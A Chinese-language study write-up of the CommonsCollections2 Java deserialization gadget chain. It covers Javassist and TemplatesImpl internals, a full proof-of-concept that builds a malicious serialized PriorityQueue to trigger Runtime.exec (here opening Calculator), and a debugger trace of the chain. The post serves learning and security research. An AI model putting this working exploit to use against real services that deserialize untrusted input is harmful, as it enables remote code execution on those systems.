CommonsCollection2反序列链学习
阅读原文时间:2022年04月01日阅读:2

CommonsCollection2

1、前置知识

CmonnosCollection2需要用到Javassist和PriorityQueue

1.1、Javassist

Javassist是一个开源的分析、编辑和创建Java字节码的类库

我们添加依赖看看

<dependency>
  <groupId>org.javassist</groupId>
  <artifactId>javassist</artifactId>
  <version>3.26.0-GA</version>
</dependency>

我们来看序列化链主要用到的类

1.1.1、ClassPool

ClassPool是一个基于哈希表(Hashtable)实现缓存CtClass对象的容器,所有的CtClass对象都在ClassPool中,其中键名是类名称,值是表示该类的CtClass对象

主要方法

1.public static synchronized ClassPool getDefault() //返回默认的类池
2.public ClassPath insertClassPath(ClassPath cp)//在搜索路径的开头插入一个ClassPath对象
3.public ClassPath insertClassPath(String pathname)//在搜索路径的开头插入目录或jar(或zip)文件
4.public ClassPath appendClassPath(ClassPath cp) //将ClassPath对象附加到搜索路径的末尾
5.public CtClass makeClass(String classname)//返回创建一个新的public类
6.public CtClass get(String classname) //从源中读取类文件,并返回对CtClass
7.public ClassLoader getClassLoader()//获取类加载器

1.1.2、CtClass

Javassit.CtClass是一个class文件的抽象表示。一个CtClass(compile-time class)对象可以用来处理一个class文件,通过ClassPool方法获取

主要方法

1.public void setSuperclass(CtClass clazz)//cc.setSuperclass();设置该CtClass类的父类
2.public void writeFile(String directoryName)
3.public void writeFile(String directoryName)
4.public Class<?> toClass(Lookup lookup)
5.public byte[] toBytecode()
6.public void addMethod(CtMethod m)
7.public void addField(CtField f)

1.1.3、CtMethod

CtMethod:表示类中的方法。主要被类通过addMethod、getDeclaredMethod获取

1.1.5、CtFields

表示类中的字段

1.1.4、CtConstructor

表示类中的一个构造方法

主要方法

1.public void setBody(String src) //设置构造函数主体。
2.public void setBody(CtConstructor src, ClassMap map)//从另一个构造函数复制一个构造函数主体

1.1.6、ClassClassPath

该类作用是用于通过 getResourceAsStream() 在 java.lang.Class 中获取类文件的搜索路径

构造方法

 public ClassClassPath(Class<?> c) {
        this.thisClass = c;
    }

常用方法

openClassfile,通过类名获取

public InputStream openClassfile(String classname) throws NotFoundException {
  String filename = '/' + classname.replace('.', '/') + ".class";
  return this.thisClass.getResourceAsStream(filename);
}

常用代码实例

//在默认系统搜索路径获取ClassPool对象
ClassPool pool = ClassPool.getDefault();
//修改搜索的路径
pool.insertClassPath(new ClassClassPath(this.getClass()));

1.1.7、toClass

输出并加载class 类,默认加载到当前线程的ClassLoader中,也可以选择输出的ClassLoader

public static void main(String[] args) throws Exception {
  ClassPool classPool = ClassPool.getDefault();
  classPool.appendClassPath("/Users/akka/Documents/study/JAVA-project/ysoserial/Javassist/src/main/java/");
  CtClass ctClass = classPool.get("com.akkacloud.demo.HelloDemo");
  HelloDemo helloDemo=(HelloDemo)ctClass.toClass().newInstance();
  helloDemo.setAge(18);
  helloDemo.setName("akka");
  System.out.println(helloDemo.getAge());
  System.out.println(helloDemo.getName());
}

1.18、toBytecode

输出成二进制格式

public static void main(String[] args) throws Exception {
  ClassPool classPool = ClassPool.getDefault();
  classPool.appendClassPath("/Users/akka/Documents/study/JAVA-project/ysoserial/Javassist/src/main/java/");
  CtClass ctClass = classPool.get("com.akkacloud.demo.HelloDemo");
  HelloDemo helloDemo=(HelloDemo)ctClass.toClass().newInstance();
  helloDemo.setAge(18);
  helloDemo.setName("akka");
  System.out.println(helloDemo.getAge());
  System.out.println(helloDemo.getName());

  byte[] bytes = ctClass.toBytecode();
  System.out.println(Arrays.toString(bytes));

}

输出

主要用法

ClassPool主要读取方式

//在默认系统搜索路径获取ClassPool对象
ClassPool pool = ClassPool.getDefault();
//修改搜索的路径,表示当前类的位置
pool.insertClassPath(new ClassClassPath(this.getClass()));

//从file加载classpath
pool.insertClassPath("/usr/local/javalib")

//从URL中加载
ClassPath cp = new URLClassPath("www.javassist.org", 80, "/java/", "org.javassist.");
pool.insertClassPath(cp);

//从byte[] 中加载
byte[] b = a byte array;
String name = class name;
cp.insertClassPath(new ByteArrayClassPath(name, b));

//可以从输入流中加载class
InputStream ins = an input stream for reading a class file;
CtClass cc = cp.makeClass(ins);

输出方式

ClassPool pool = ClassPool.getDefault();
//会从classpath中查询该类
CtClass cc = pool.get("test.Rectangle");
//设置.Rectangle的父类
cc.setSuperclass(pool.get("test.Point"));
//输出.Rectangle.class文件到该目录中
cc.writeFile("c://");
//输出成二进制格式
//byte[] b=cc.toBytecode();
//输出并加载class 类,默认加载到当前线程的ClassLoader中,也可以选择输出的ClassLoader。
//Class clazz=cc.toClass();

新增Class

ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("Point");
//新增方法
cc.addMethod(m);
//新增Field
cc.addField(f);
//获取move方法
cc.getDeclaredMethod("move")

使用案例

package com.akkacloud.demo;

import javassist.*;

public class JavassistTest {

    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();

        // 1. 创建一个空类
        CtClass cc = pool.makeClass("com.akkacloud.demo.Person");

        // 2. 新增一个字段 private String name;
        // 字段名为name
        CtField param = new CtField(pool.get("java.lang.String"), "name", cc);
        // 访问级别是 private
        param.setModifiers(Modifier.PRIVATE);
        // 初始值是 "xiaoming"
        cc.addField(param, CtField.Initializer.constant("xiaoming"));

        // 3. 生成 getter、setter 方法
        cc.addMethod(CtNewMethod.setter("setName", param));
        cc.addMethod(CtNewMethod.getter("getName", param));

        // 4. 添加无参的构造函数
        CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);
        cons.setBody("{name = \"xiaohong\";}");
        cc.addConstructor(cons);

        // 5. 添加有参的构造函数
        cons = new CtConstructor(new CtClass[]{pool.get("java.lang.String")}, cc);
        // $0=this / $1,$2,$3... 代表方法参数
        cons.setBody("{$0.name = $1;}");
        cc.addConstructor(cons);

        // 6. 创建一个名为printName方法,无参数,无返回值,输出name值
        CtMethod ctMethod = new CtMethod(CtClass.voidType, "printName", new CtClass[]{}, cc);
        ctMethod.setModifiers(Modifier.PUBLIC);
        ctMethod.setBody("{System.out.println(name);}");
        cc.addMethod(ctMethod);

        //这里会将这个创建的类对象编译为.class文件
        cc.writeFile("/Users/akka/Documents/study/JAVA-project/ysoserial/Javassist/src/main/java/");

    }
}

1.2、PriorityQueue

PriorityQueue 一个基于优先级的无界优先级队列,优先级队列的元素按照其自然顺序进行排序,或者根据构造队列时提供的 Comparator 进行排序,具体取决于所使用的构造方法。该队列不允许使用 null 元素也不允许插入不可比较的对象(没有实现Comparable接口的对象)。

构造方法

//默认创建11容量的PriorityQueue并且排序
private static final int DEFAULT_INITIAL_CAPACITY = 11;
......
public PriorityQueue() {
  this(DEFAULT_INITIAL_CAPACITY, null);
}
//指定initialCapacity容量的PriorityQueue并且排序
public PriorityQueue(int initialCapacity) {
  this(initialCapacity, null);
}

主要方法

add(E e)                       将指定的元素插入此优先级队列
clear()                        从此优先级队列中移除所有元素。
comparator()                   返回用来对此队列中的元素进行排序的比较器;如果此队列根据其元素的自然顺序进行排序,则返回 null
contains(Object o)      如果此队列包含指定的元素,则返回 true。
iterator()                   返回在此队列中的元素上进行迭代的迭代器。
offer(E e)                   将指定的元素插入此优先级队列
peek()                           获取但不移除此队列的头;如果此队列为空,则返回 null。
poll()                           获取并移除此队列的头,如果此队列为空,则返回 null。
remove(Object o)           从此队列中移除指定元素的单个实例(如果存在)。
size()                           返回此 collection 中的元素数。
toArray()                      返回一个包含此队列所有元素的数组。

案例

public static void main(String[] args) throws Exception {
  PriorityQueue priorityQueue = new PriorityQueue();
  priorityQueue.add(1);
  priorityQueue.add(4);
  priorityQueue.add(3);
  priorityQueue.add(5);
  System.out.println(priorityQueue);
  System.out.println(priorityQueue.peek());
  System.out.println(priorityQueue.poll());
  System.out.println(priorityQueue.peek());

}

输出

1.3、getDeclaredFiled

getDeclaredFiled 仅能获取类本身的属性成员(包括私有、共有、保护)

public static void main(String[] args) throws Exception {
  Class aClass = Class.forName("com.akkacloud.demo.HelloDemo");
  Field[] declaredFields = aClass.getDeclaredFields();
  for (Field declaredField : declaredFields) {
    System.out.println(declaredField);
  }

}

输出

1.4、TransformingComparator

TransformingComparator是实现了Comparator接口,Comparator主要对集合对象或数组对象进行排序,需要实现Comparator接口以达到我们想要的目标。其中的compare方法调用了传入transformer的transform方法。

public TransformingComparator(Transformer transformer) {
  this(transformer, new ComparableComparator());
}
//对传入的参数传入对应的值
public TransformingComparator(Transformer transformer, Comparator decorated) {
  this.decorated = decorated;
  this.transformer = transformer;
}
//compare会调用transform方法,
public int compare(Object obj1, Object obj2) {
  Object value1 = this.transformer.transform(obj1);
  Object value2 = this.transformer.transform(obj2);
  return this.decorated.compare(value1, value2);
}

1.5、TemplatesImpl

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl是⼀个可以加载字节码的类(恶意类)

newTransformer

newTransformer会新建TransformerImpl调用getTransletInstance()

public synchronized Transformer newTransformer() throws TransformerConfigurationException
{
  TransformerImpl transformer;

  transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
                                    _indentNumber, _tfactory);

  if (_uriResolver != null) {
    transformer.setURIResolver(_uriResolver);
  }

  if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
    transformer.setSecureProcessing(true);
  }
  return transformer;
}

其中的TransformerImpl就是赋值

protected TransformerImpl(Translet translet, Properties outputProperties,
                          int indentNumber, TransformerFactoryImpl tfactory)
{
  _translet = (AbstractTranslet) translet;
  _properties = createOutputProperties(outputProperties);
  _propertiesClone = (Properties) _properties.clone();
  _indentNumber = indentNumber;
  _tfactory = tfactory;
  _overrideDefaultParser = _tfactory.overrideDefaultParser();
  _accessExternalDTD = (String)_tfactory.getAttribute(XMLConstants.ACCESS_EXTERNAL_DTD);
  _securityManager = (XMLSecurityManager)_tfactory.getAttribute(XalanConstants.SECURITY_MANAGER);
  _readerManager = XMLReaderManager.getInstance(_overrideDefaultParser);
  _readerManager.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, _accessExternalDTD);
  _readerManager.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, _isSecureProcessing);
  _readerManager.setProperty(XalanConstants.SECURITY_MANAGER, _securityManager);
  //_isIncremental = tfactory._incremental;
}

getTransletInstance

如果_name的值为null,直接返回null,如果_class的值为空(private Class[] _class = null;),则进入defineTransletClasses()

private Translet getTransletInstance()
    throws TransformerConfigurationException {
    try {
        if (_name == null) return null;

        if (_class == null) defineTransletClasses();

        // The translet needs to keep a reference to all its auxiliary
        // class to prevent the GC from collecting them
        AbstractTranslet translet = (AbstractTranslet)
                _class[_transletIndex].getConstructor().newInstance();
        translet.postInitialization();
        translet.setTemplates(this);
        translet.setOverrideDefaultParser(_overrideDefaultParser);
        translet.setAllowedProtocols(_accessExternalStylesheet);
        if (_auxClasses != null) {
            translet.setAuxiliaryClasses(_auxClasses);
        }

        return translet;
    }
    catch (InstantiationException | IllegalAccessException |
            NoSuchMethodException | InvocationTargetException e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
        throw new TransformerConfigurationException(err.toString(), e);
    }
}

我们进入defineTransletClasses()

首先判断_bytecodes是不是null,是就报错

defineClass方法接受一组字节,然后将其具体化为一个Class类型实例

if (_bytecodes == null) {
  ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
  throw new TransformerConfigurationException(err.toString());
}

我们发现他创建了一个TransletClassLoader类,AccessController.doPrivileged是一个在AccessController类中的静态方法,允许在一个类实例中的代码通知这个AccessController:它的代码主体是享受"privileged(特权的)",它单独负责对它的可得的资源的访问请求,而不管这个请求是由什么代码所引发的

TransletClassLoader loader = (TransletClassLoader)
    AccessController.doPrivileged(new PrivilegedAction() {
        public Object run() {
            return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
        }
    });

我们继续来看看TransletClassLoader类,defineClass()TemplatesImpl内部的静态类TransletClassLoader被重载了,defineClass方法接受一组字节,然后将其具体化为一个Class类型实例

这里说多一个ClassLoader类的loadClass

通过ClassLoader#
loadClass(String className)这样使用类名来加载类的时候(默认该类没有被JVM加载过)
要经历下面三个方法的调用:
loadClass 的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机 制),在前面没有找到的情况下,执行 findClass
findClass 的作用是根据基础URL指定的方式来加载类的字节码,可能会在 本地文件系统、jar包或远程http服务器上读取字节码,然后交给 defineClass
defineClass 的作用是处理前面传入的字节码,将其处理成真正的Java类

我们继续看defineTransletClasses()方法,前面是假如传入的_bytecodes的长度大于1就创建一个HashMap,我们直接进入for循环,首先调用loader.defineClass的方法,创建一个Class类型实例,然后获取他的父类,在判断他的父类的名字是不是等于ABSTRACT_TRANSLET(AbstractTranslet),然后把i赋值transletIndex,transletIndex的默认值是-1。

try {
      final int classCount = _bytecodes.length;
      _class = new Class[classCount];

      if (classCount > 1) {
        _auxClasses = new HashMap<>();
      }

      for (int i = 0; i < classCount; i++) {
        _class[i] = loader.defineClass(_bytecodes[i]);
        final Class superClass = _class[i].getSuperclass();

        // Check if this is the main class
        if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
          _transletIndex = i;
        }
        else {
          _auxClasses.put(_class[i].getName(), _class[i]);
        }
      }

      if (_transletIndex < 0) {
        ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
        throw new TransformerConfigurationException(err.toString());
      }
}

我们终于回到了getTransletInstance方法,通过defineTransletClasses把我们_class赋值为_bytecodes转换为的类,然后再_class[_transletIndex].getConstructor().newInstance()实例化,如果我们传输的是Rce的_bytecodes,那么就会执行代码

if (_name == null) return null;

if (_class == null) defineTransletClasses();

// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet)
  _class[_transletIndex].getConstructor().newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setOverrideDefaultParser(_overrideDefaultParser);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
  translet.setAuxiliaryClasses(_auxClasses);
}

return translet;

2、漏洞复现

记得先导入依赖

package com.akkacloud;

import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonsCollection2 {
    public static void main(String[] args) throws Exception {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

        ClassPool classPool=ClassPool.getDefault();//返回默认的类池
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
        CtClass payload=classPool.makeClass("CommonsCollections22222222222");//创建一个新的public类
        payload.setSuperclass(classPool.get(AbstractTranslet));  //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");"); //创建一个空的类初始化,设置构造函数主体为runtime

        byte[] bytes=payload.toBytecode();//转换为byte数组

        Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
        Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
        field.setAccessible(true);//暴力反射
        field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组

        Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
        field1.setAccessible(true);//暴力反射
        field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test

        InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
        TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象
        PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
        queue.add(1);//添加数字1插入此优先级队列
        queue.add(1);//添加数字1插入此优先级队列

        Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
        field2.setAccessible(true);//暴力反射
        field2.set(queue,comparator);//设置queue的comparator字段值为comparator

        Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
        field3.setAccessible(true);//暴力反射
        field3.set(queue,new Object[]{templatesImpl,templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl

        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
        outputStream.writeObject(queue);
        outputStream.close();

        ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
        inputStream.readObject();

    }

}

第一段分析,主要通过javassist去创建了一个类CommonsCollection2Test,静态结构体为恶意代码设置一下父类为AbstractTranslet

为甚么要设置父类为AbstractTranslet

答:上述在TemplatesImpl学习中,把getTransletInstance中的defineTransletClasses()中会判断_class[i]的父类是不是AbstractTranslet

String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

ClassPool classPool=ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload=classPool.makeClass("com/akkacloud/CommonsCollection2Test");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet));  //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");"); //创建一个空的类初始化,设置构造函数主体为runtime

payload.writeFile("/Users/akka/Documents/study/JAVA-project/ysoserial/CommonsColection2/src/main/java");

输出来看看,发现我们执行的代码在static静态代码块,该代码块会在类实例化时直接执行

第二段

1、反射创建templatesImpl类

2、把CommonsCollection2Test类(RCE类)转换为字节数组赋值给templatesImpl的属性_bytecodes

3、反射获取并且赋值templatesImpl的属性_name为test字符串

为甚要设置_name为test?

getTransletInstance中会判断_name的值是不是null,空就直接返回null了。

//payload.writeFile("/Users/akka/Documents/study/JAVA-project/ysoserial/CommonsColection2/src/main/java");
byte[] bytes=payload.toBytecode();//转换为byte数组
//String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组

Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test

我们通过反射输出来看看

//反射获取对应getter方法,并且输出
Method getTransletName = templatesImpl.getClass().getDeclaredMethod("getTransletName", new Class[]{});
getTransletName.setAccessible(true);
Object name = getTransletName.invoke(templatesImpl, new Object[]{});
System.out.println(name.toString());

Method getTransletBytecodes = templatesImpl.getClass().getDeclaredMethod("getTransletBytecodes", new Class[]{});
getTransletBytecodes.setAccessible(true);
byte[][] bytes1 = (byte[][]) getTransletBytecodes.invoke(templatesImpl, new Object[]{});
for (int i = 0; i < bytes1.length; i++) {
System.out.println(Arrays.toString(bytes1[i]));
}

第三段

1、新建一个InvokerTransformer,,通过反射执行一个newTransformer方法

2、新建一个TransformingComparator,通过前置知识的学习我们只需要通过调用TransformingComparator的compare方法就会调用

InvokerTransformer的transform方法就会调用newTransformer方法,就是把我们传入的bytecode实例化,导致RCE

InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator transformingComparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象

第四段

1、创建了一个容量为2的PriorityQueue梳理,并且调用了add方法添加两个元素,我们现在是应该去找怎么调用compare()方法,Poc中是用了priorityQueue类的comparator和queue,并且把templatesImpl(包含了我们用javassist创建的恶意类)赋值给了priorityQueue的queue属性,并且把transformingComparator赋值给了priorityQueue的comparator属性

PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
queue.add(1);//添加数字1插入此优先级队列
queue.add(1);//添加数字1插入此优先级队列

Field field2=priorityQueue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
field2.setAccessible(true);//暴力反射
field2.set(priorityQueue,comparator);//设置priorityQueue的comparator属性值为comparator

Field field3=priorityQueue.getClass().getDeclaredField("queue");//获取priorityQueue的queue字段
field3.setAccessible(true);//暴力反射
field3.set(priorityQueue,new Object[]{templatesImpl,templatesImpl});//设置priorityQueue的queue字段内容Object数组,内容为templatesImpl

我们发现siftDownUsingComparator方法中comparator调用了compare,而且其的参数为queue,所以就是我们的用来加载恶意类transformingComparator调用了compare方法,并且参数为queue既我们的恶意数组templatesImpl

哪里调用了siftDownUsingComparator方法呢

private void siftDownUsingComparator(int k, E x) {
  int half = size >>> 1;
  while (k < half) {
    int child = (k << 1) + 1;
    Object c = queue[child];
    int right = child + 1;
    if (right < size &&
        comparator.compare((E) c, (E) queue[right]) > 0)
      c = queue[child = right];
    if (comparator.compare(x, (E) c) <= 0)
      break;
    queue[k] = c;
    k = child;
  }
  queue[k] = x;
}

siftDown方法调用了siftDownUsingComparator方法

private void siftDown(int k, E x) {
  if (comparator != null)
    siftDownUsingComparator(k, x);
  else
    siftDownComparable(k, x);
}

heapify()方法调用了siftDown方法

    private void heapify() {
        for (int i = (size >>> 1) - 1; i >= 0; i--)
            siftDown(i, (E) queue[i]);
    }

PriorityQueue的readObject方法中调用了heapify()

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // Read in size, and any hidden stuff
    s.defaultReadObject();

    // Read in (and discard) array length
    s.readInt();

    SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
    queue = new Object[size];

    // Read in all elements.
    for (int i = 0; i < size; i++)
        queue[i] = s.readObject();

    // Elements are guaranteed to be in "proper order", but the
    // spec has never explained what that might be.
    heapify();
}

终于成功了,重写了我们的readObject

Gadget chain:
        ObjectInputStream.readObject()
            PriorityQueue.readObject()
        PriorityQueue.heapify()
          PriorityQueue.siftDown()
            PriorityQueue.siftDownUsingComparator()
              ...
                TransformingComparator.compare()
                  InvokerTransformer.transform()
                    Method.invoke()
                      Runtime.exec()

首先我们在PriorityQueue.readObject()打上断点,进入heapify()

发现queue为TemplatesImpl类(恶意类),继续跟进siftDown

由于comparator不为空,queue就是x,继续进入siftDownUsingComparator,

发现compatator.compare(),此处的compatator就是TransformingComparator

没错,进入到了我们的TransformingComparator的compare,我们可以看到this.transformer为InvokerTransformer,继续跟进

进入InvokerTransformer后,发现cls为TemplatesImpl,方法为newTransformer,继续进入

进入到了TemplatesImpl的newTransformer方法,继续进入getTransletInstance

发现了反射设置的_name,继续进入defineTransletClasses

成功进入,我们就看看他的参数

发现把我们反射传入恶意类的_bytecodes穿给_class[i], >_class[_transletIndex]>_class[0]

返回getTransletInstance()方法,newinstance后既实例化后成功执行代码

参考链接

https://www.cnblogs.com/rickiyang/p/11336268.html

https://blog.csdn.net/u011425751/article/details/51917895

https://www.cnblogs.com/nice0e3/p/13860621.html

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections2.java